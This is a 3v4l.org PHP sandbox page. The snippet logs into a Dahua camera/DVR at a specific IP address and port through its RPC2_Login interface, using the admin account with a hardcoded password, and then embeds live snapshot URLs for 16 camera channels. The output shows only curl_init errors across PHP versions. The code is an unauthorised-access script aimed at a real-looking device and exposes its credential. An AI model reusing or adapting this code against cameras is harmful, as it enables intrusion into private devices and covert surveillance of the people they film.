3v4l.org

run code in 300+ PHP versions simultaneously
<?php function obj2arr($d) { if (is_object($d)) {$d = get_object_vars($d);} if (is_array($d)) {return array_map(__FUNCTION__, $d);} else {return $d;} } $headers = array(); $postdata = '{"method":"global.login","params":{"userName":"admin","password":"","clientType":"Dahua3.0-Web3.0-NOTIE"},"id":10000}'; $cam = curl_init();curl_setopt($cam,CURLOPT_CUSTOMREQUEST, "POST");curl_setopt($cam,CURLOPT_URL,"http://180.211.114.50:8011/RPC2_Login");curl_setopt($cam,CURLOPT_RETURNTRANSFER,true);curl_setopt($cam,CURLOPT_HTTPHEADER, $headers);curl_setopt($cam,CURLOPT_TIMEOUT,60);curl_setopt($cam,CURLOPT_POSTFIELDS, $postdata); $result=obj2arr(json_decode(curl_exec($cam)));$id = $result['session']; //$headers = array('Cookie:DHLangCookie30=%2Fweb_lang%2FEnglish.txt; DhWebCookie=%7B%22username%22%3A%22admin%22%2C%22pswd%22%3A%22%22%2C%22talktype%22%3A%221%22%2C%22logintype%22%3A%220%22%2C%22openall%22%3A%221%22%2C%22loginid%22%3A0%7D; DhWebClientSessionID=' . $id); $postdata = '{"method":"global.login","session":'.$id.',"params":{"userName":"admin","password":"6QNMIQGe","clientType":"Dahua3.0-Web3.0-NOTIE","authorityType":"OldDigest"},"id":10000}:'; curl_setopt($cam,CURLOPT_POSTFIELDS, $postdata); curl_exec($cam);curl_close($cam); for($a =0; $a<=15;$a++) { echo "<img src='http://180.211.114.50:8011/cgi-bin/Snapshot.cgi?channel={$a}&sessionId={$id}' width='352' height='288'>"; } ?>
Output for 7.0.0 - 7.0.33, 7.1.0 - 7.1.25, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
Fatal error: Uncaught Error: Call to undefined function curl_init() in /in/71g1V:12 Stack trace: #0 {main} thrown in /in/71g1V on line 12
Process exited with code 255.
Output for 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.38
Fatal error: Call to undefined function curl_init() in /in/71g1V on line 12
Process exited with code 255.
Output for 4.4.5 - 4.4.9
Fatal error: Call to undefined function: curl_init() in /in/71g1V on line 12
Process exited with code 255.
Output for 4.3.2 - 4.3.11, 4.4.0 - 4.4.4
Fatal error: Call to undefined function: curl_init() in /in/71g1V on line 12
Process exited with code 255.
Output for 4.3.0 - 4.3.1
Fatal error: Call to undefined function: curl_init() in /in/71g1V on line 12

preferences:
286.84 ms | 401 KiB | 422 Q